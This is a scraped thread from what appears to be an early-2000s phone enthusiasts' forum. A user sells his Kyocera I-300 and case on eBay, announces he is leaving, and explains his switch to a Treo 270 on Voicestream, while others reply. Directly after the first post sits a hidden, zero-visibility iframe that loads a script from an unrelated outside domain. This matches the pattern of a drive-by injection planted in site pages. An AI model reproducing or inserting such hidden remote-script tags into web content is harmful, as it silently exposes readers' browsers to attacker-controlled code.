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    FS: I-300 and E&B case

    Hello all ...

    I have posted my I300 up for sale, it's a very recent Sprint Equipment Replacement in excellent shape. Included is the E&B Slipper I-300 case with belt clip.

    http://cgi.ebay.com/ws/eBayISAPI.dll...371662860&rd=1

    Adios, everyone! It's been fun!

    -Doug<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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    funny...we are starting to see deserters... looks like the 6035 forum when the I300 just came out.

    Time for changes....


    Curious, what phone are you getting?
    visit http://www.yorch.net your place for Pocket Pc Phone Edition Dialpad Skins!

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    damned if I know Yorch. I think it's the I300 for a while. Thought it might be the Treo but Handspring, in it's shortsighted PDA mentality, did the fixed battery thang......they ain't listenin are they? :o :p
    .....beam me up Scotty...

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    Adios, everyone! It's been fun!
    yup...seeya Doug.... (wanna buy a StarTac...lol)
    .....beam me up Scotty...

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    Lightbulb E&B

    Send me an e-mail on just E&B case price. I scraped the face of my E&B up.

    biketrek@mindspring.com

    Thanks

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    Originally posted by yorch
    Curious, what phone are you getting?
    Getting? Got. The Treo 270 on Voicestream (now T-Mobile).

    3,000 anytime minutes (regional - but that fits just fine for me) for $59 a month. Plus, I dropped my SprintPCS account to an emergency-only plan via their retention department for $10 a month. I'm going to activate an older, dual-band Qualcomm on that number and keep the phone as an emergency for situations where I don't have GSM coverage (so far, coverage has been quite respectable!).

    So, for $69 a month, I've got a boatload more minutes, two carriers, two phones. And that's still less than the $74 a month I was paying SPCS for 1,000/7,000 minutes.

    I was really surprised by the sound quality of GSM - I was very skeptical, but it's been working out great so far. And you can't beat 3,000 minutes for $59. That's an hour and a half on the cell phone, every single day of the year!

    See you all on the other forums!!

    -Doug

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